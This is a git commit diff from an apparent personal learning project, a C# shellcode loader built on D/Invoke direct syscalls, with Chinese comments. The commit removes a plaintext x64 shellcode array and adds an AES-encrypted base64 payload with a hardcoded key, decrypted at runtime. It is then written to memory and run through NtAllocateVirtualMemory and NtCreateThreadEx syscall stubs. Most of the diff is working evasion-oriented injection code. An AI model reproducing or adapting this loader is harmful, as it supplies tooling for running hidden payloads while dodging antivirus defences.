This commit is contained in:
parent
8cbdb96ce1
commit
9477573731
Binary file not shown.
|
@ -35,9 +35,8 @@ class Generic
|
|||
// Alloc PE image memory -> RW
|
||||
IntPtr hProcess = Native.GetCurrentProcess(); // 进程句柄,当前进程为-1
|
||||
IntPtr BaseAddress = IntPtr.Zero; // 接收分配的内存地址
|
||||
IntPtr RegionSize = PEINFO.Is32Bit ? (IntPtr)PEINFO.OptHeader32.SizeOfImage : (IntPtr)PEINFO.OptHeader64.SizeOfImage;
|
||||
UInt32 SizeOfHeaders = PEINFO.Is32Bit ? PEINFO.OptHeader32.SizeOfHeaders : PEINFO.OptHeader64.SizeOfHeaders;
|
||||
|
||||
IntPtr RegionSize = PEINFO.Is32Bit ? (IntPtr)PEINFO.OptHeader32.SizeOfImage : (IntPtr)PEINFO.OptHeader64.SizeOfImage; // 要分配的内存大小
|
||||
|
||||
IntPtr pImage = Native.NtAllocateVirtualMemory(
|
||||
hProcess, ref BaseAddress, IntPtr.Zero, ref RegionSize,
|
||||
Native.AllocationType.Commit | Native.AllocationType.Reserve,
|
||||
|
@ -45,6 +44,7 @@ class Generic
|
|||
);
|
||||
|
||||
// Write PE header to memory
|
||||
UInt32 SizeOfHeaders = PEINFO.Is32Bit ? PEINFO.OptHeader32.SizeOfHeaders : PEINFO.OptHeader64.SizeOfHeaders;
|
||||
UInt32 BytesWritten = Native.NtWriteVirtualMemory((IntPtr)(-1), pImage, pModule, SizeOfHeaders);
|
||||
|
||||
// Write sections to memory
|
||||
|
@ -94,9 +94,9 @@ class Generic
|
|||
|
||||
//Native.NtFreeVirtualMemory((IntPtr)(-1), ref pImage, ref RegionSize, Native.AllocationType.Reserve
|
||||
|
||||
//原代码有问题,参考下面两个Microsoft docs重改写
|
||||
//https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntfreevirtualmemory
|
||||
//https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualfree
|
||||
// 上面两行原代码有问题,参考下面两个Microsoft docs改写;也可以用Marshal.FreeHGlobal()
|
||||
// https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntfreevirtualmemory
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualfree
|
||||
RegionSize = IntPtr.Zero;
|
||||
Native.NtFreeVirtualMemory((IntPtr)(-1), ref pImage, ref RegionSize, Native.FreeType.MEM_RELEASE);
|
||||
|
||||
|
|
|
@ -237,4 +237,59 @@ namespace MessyTools
|
|||
MEM_WRITE = 0x80000000
|
||||
}
|
||||
}
|
||||
|
||||
class Tools
|
||||
{
|
||||
public static byte[] getSc()
|
||||
{
|
||||
string sc = "";
|
||||
|
||||
// 利用IntPtr结构的Size属性来查看系统的位宽;前提是程序需要采用Any CPU的方式进行编辑
|
||||
if (IntPtr.Size == 8)
|
||||
{
|
||||
//x64
|
||||
sc = "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";
|
||||
}
|
||||
else if (IntPtr.Size == 4)
|
||||
{
|
||||
//x86,暂时也放x64的shellcode,不然更改位数这里获取不到会报错
|
||||
sc = "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";
|
||||
}
|
||||
|
||||
// 解密并转换为byte[]
|
||||
List<byte> b = new List<byte>();
|
||||
foreach (var i in AesDecryptor_Base64(sc).Split(','))
|
||||
{
|
||||
b.Add((byte)int.Parse(i.Substring(2), System.Globalization.NumberStyles.HexNumber));
|
||||
}
|
||||
byte[] RLSXlbz = b.ToArray();
|
||||
|
||||
return RLSXlbz;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// AES解密.
|
||||
/// </summary>
|
||||
/// <param name="str">传入要解密的字符串.</param>
|
||||
/// <param name="key">支持的密钥长度为128/192/256位,默认长度256位; 默认秘钥为openopenopenopen,长度为128</param>
|
||||
/// <returns>返回解密后的字符串.</returns>
|
||||
public static string AesDecryptor_Base64(string str, string key = "openopenopenopen")
|
||||
{
|
||||
if (string.IsNullOrEmpty(str)) return null;
|
||||
|
||||
byte[] toEncryptArray = Convert.FromBase64String(str);
|
||||
|
||||
System.Security.Cryptography.RijndaelManaged rm = new System.Security.Cryptography.RijndaelManaged
|
||||
{
|
||||
Key = Encoding.UTF8.GetBytes(key),
|
||||
Mode = System.Security.Cryptography.CipherMode.ECB,
|
||||
Padding = System.Security.Cryptography.PaddingMode.PKCS7
|
||||
};
|
||||
|
||||
System.Security.Cryptography.ICryptoTransform cTransform = rm.CreateDecryptor();
|
||||
byte[] resultArray = cTransform.TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length);
|
||||
|
||||
return Encoding.UTF8.GetString(resultArray);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -634,7 +634,7 @@ public class Native
|
|||
{
|
||||
throw new UnauthorizedAccessException("Access is denied.");
|
||||
}
|
||||
|
||||
|
||||
if (Marshal.ReadIntPtr(pProcInfo) == IntPtr.Zero)
|
||||
{
|
||||
return false;
|
||||
|
|
36
Program.cs
36
Program.cs
|
@ -8,28 +8,8 @@ namespace D_Invoke_syscall
|
|||
{
|
||||
static void Main(string[] args)
|
||||
{
|
||||
byte[] notepadShellcode_x64 = new byte[] {
|
||||
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
|
||||
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
|
||||
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
|
||||
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
|
||||
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
|
||||
0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
|
||||
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
|
||||
0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
|
||||
0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
|
||||
0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
|
||||
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
|
||||
0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
|
||||
0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
|
||||
0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
|
||||
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
|
||||
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
|
||||
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
|
||||
0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x43,0x3a,0x5c,
|
||||
0x57,0x69,0x6e,0x64,0x6f,0x77,0x73,0x5c,0x53,0x79,0x73,0x74,0x65,0x6d,0x33,
|
||||
0x32,0x5c,0x6e,0x6f,0x74,0x65,0x70,0x61,0x64,0x2e,0x65,0x78,0x65,0x00 };
|
||||
Native.NTSTATUS success;
|
||||
byte[] notepadShellcode_x64 = MessyTools.Tools.getSc();
|
||||
Native.NTSTATUS ntstatu;
|
||||
|
||||
|
||||
IntPtr hProcess = Native.GetCurrentProcess(); // 进程句柄,当前进程为-1
|
||||
|
@ -41,8 +21,8 @@ namespace D_Invoke_syscall
|
|||
|
||||
IntPtr sysPointer = Generic.GetSyscallStub("NtAllocateVirtualMemory");
|
||||
Delegates.NtAllocateVirtualMemory NtAllocateVirtualMemory = Marshal.GetDelegateForFunctionPointer(sysPointer, typeof(Delegates.NtAllocateVirtualMemory)) as Delegates.NtAllocateVirtualMemory;
|
||||
success = NtAllocateVirtualMemory(hProcess, ref BaseAddress, ZeroBits, ref RegionSize, AllocationType, Protect);
|
||||
Console.WriteLine($"NtAllocateVirtualMemory -> {success}");
|
||||
ntstatu = NtAllocateVirtualMemory(hProcess, ref BaseAddress, ZeroBits, ref RegionSize, AllocationType, Protect);
|
||||
Console.WriteLine($"NtAllocateVirtualMemory -> {ntstatu}");
|
||||
Console.WriteLine($"申请的内存地址 -> 0x{BaseAddress.ToString("X")}");
|
||||
|
||||
|
||||
|
@ -62,8 +42,8 @@ namespace D_Invoke_syscall
|
|||
|
||||
sysPointer = Generic.GetSyscallStub("NtCreateThreadEx");
|
||||
Delegates.NtCreateThreadEx NtCreateThreadEx = Marshal.GetDelegateForFunctionPointer(sysPointer, typeof(Delegates.NtCreateThreadEx)) as Delegates.NtCreateThreadEx;
|
||||
success = NtCreateThreadEx(out hThread, DesiredAccess, ObjectAttributes, hProcess, BaseAddress, lpParameter, CreateSuspended, StackZeroBits, SizeOfStackCommit, SizeOfStackReserve, lpBytesBuffer);
|
||||
Console.WriteLine($"NtCreateThreadEx -> {success}\nThread Id -> {Native.GetThreadId(hThread)}");
|
||||
ntstatu = NtCreateThreadEx(out hThread, DesiredAccess, ObjectAttributes, hProcess, BaseAddress, lpParameter, CreateSuspended, StackZeroBits, SizeOfStackCommit, SizeOfStackReserve, lpBytesBuffer);
|
||||
Console.WriteLine($"NtCreateThreadEx -> {ntstatu}\nThread Id -> {Native.GetThreadId(hThread)}");
|
||||
|
||||
|
||||
Console.WriteLine(new Win32Exception());
|
||||
|
@ -71,8 +51,8 @@ namespace D_Invoke_syscall
|
|||
|
||||
sysPointer = Generic.GetSyscallStub("NtWaitForSingleObject");
|
||||
Delegates.NtWaitForSingleObject NtWaitForSingleObject = Marshal.GetDelegateForFunctionPointer(sysPointer, typeof(Delegates.NtWaitForSingleObject)) as Delegates.NtWaitForSingleObject;
|
||||
success = NtWaitForSingleObject(hThread, false, 0);
|
||||
Console.WriteLine($"NtWaitForSingleObject -> {success}");
|
||||
ntstatu = NtWaitForSingleObject(hThread, false, 0);
|
||||
Console.WriteLine($"NtWaitForSingleObject -> {ntstatu}");
|
||||
}
|
||||
}
|
||||
|
||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -1,6 +1,6 @@
|
|||
E:\Learning Record\CSharp\D_Invoke syscall\obj\Debug\D_Invoke syscall.csprojAssemblyReference.cache
|
||||
E:\Learning Record\CSharp\D_Invoke syscall\obj\Debug\D_Invoke syscall.csproj.CoreCompileInputs.cache
|
||||
E:\Learning Record\CSharp\D_Invoke syscall\bin\Debug\D_Invoke syscall.exe
|
||||
E:\Learning Record\CSharp\D_Invoke syscall\bin\Debug\D_Invoke syscall.pdb
|
||||
E:\Learning Record\CSharp\D_Invoke syscall\obj\Debug\D_Invoke syscall.csprojAssemblyReference.cache
|
||||
E:\Learning Record\CSharp\D_Invoke syscall\obj\Debug\D_Invoke syscall.csproj.CoreCompileInputs.cache
|
||||
E:\Learning Record\CSharp\D_Invoke syscall\obj\Debug\D_Invoke syscall.exe
|
||||
E:\Learning Record\CSharp\D_Invoke syscall\obj\Debug\D_Invoke syscall.pdb
|
||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,4 @@
|
|||
// <autogenerated />
|
||||
using System;
|
||||
using System.Reflection;
|
||||
[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.0", FrameworkDisplayName = ".NET Framework 4")]
|
|
@ -0,0 +1 @@
|
|||
09839846f81547b1f4a173153c162a5039df2c03
|
|
@ -0,0 +1,6 @@
|
|||
E:\Learning Record\CSharp\D_Invoke syscall\bin\x64\Debug\D_Invoke syscall.exe
|
||||
E:\Learning Record\CSharp\D_Invoke syscall\bin\x64\Debug\D_Invoke syscall.pdb
|
||||
E:\Learning Record\CSharp\D_Invoke syscall\obj\x64\Debug\D_Invoke syscall.csprojAssemblyReference.cache
|
||||
E:\Learning Record\CSharp\D_Invoke syscall\obj\x64\Debug\D_Invoke syscall.csproj.CoreCompileInputs.cache
|
||||
E:\Learning Record\CSharp\D_Invoke syscall\obj\x64\Debug\D_Invoke syscall.exe
|
||||
E:\Learning Record\CSharp\D_Invoke syscall\obj\x64\Debug\D_Invoke syscall.pdb
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,4 @@
|
|||
// <autogenerated />
|
||||
using System;
|
||||
using System.Reflection;
|
||||
[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.0", FrameworkDisplayName = ".NET Framework 4")]
|
|
@ -0,0 +1 @@
|
|||
013dc4a9375ec089310266d606792680116237a5
|
|
@ -0,0 +1,5 @@
|
|||
E:\Learning Record\CSharp\D_Invoke syscall\bin\x86\Debug\D_Invoke syscall.exe
|
||||
E:\Learning Record\CSharp\D_Invoke syscall\bin\x86\Debug\D_Invoke syscall.pdb
|
||||
E:\Learning Record\CSharp\D_Invoke syscall\obj\x86\Debug\D_Invoke syscall.csproj.CoreCompileInputs.cache
|
||||
E:\Learning Record\CSharp\D_Invoke syscall\obj\x86\Debug\D_Invoke syscall.exe
|
||||
E:\Learning Record\CSharp\D_Invoke syscall\obj\x86\Debug\D_Invoke syscall.pdb
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Loading…
Reference in New Issue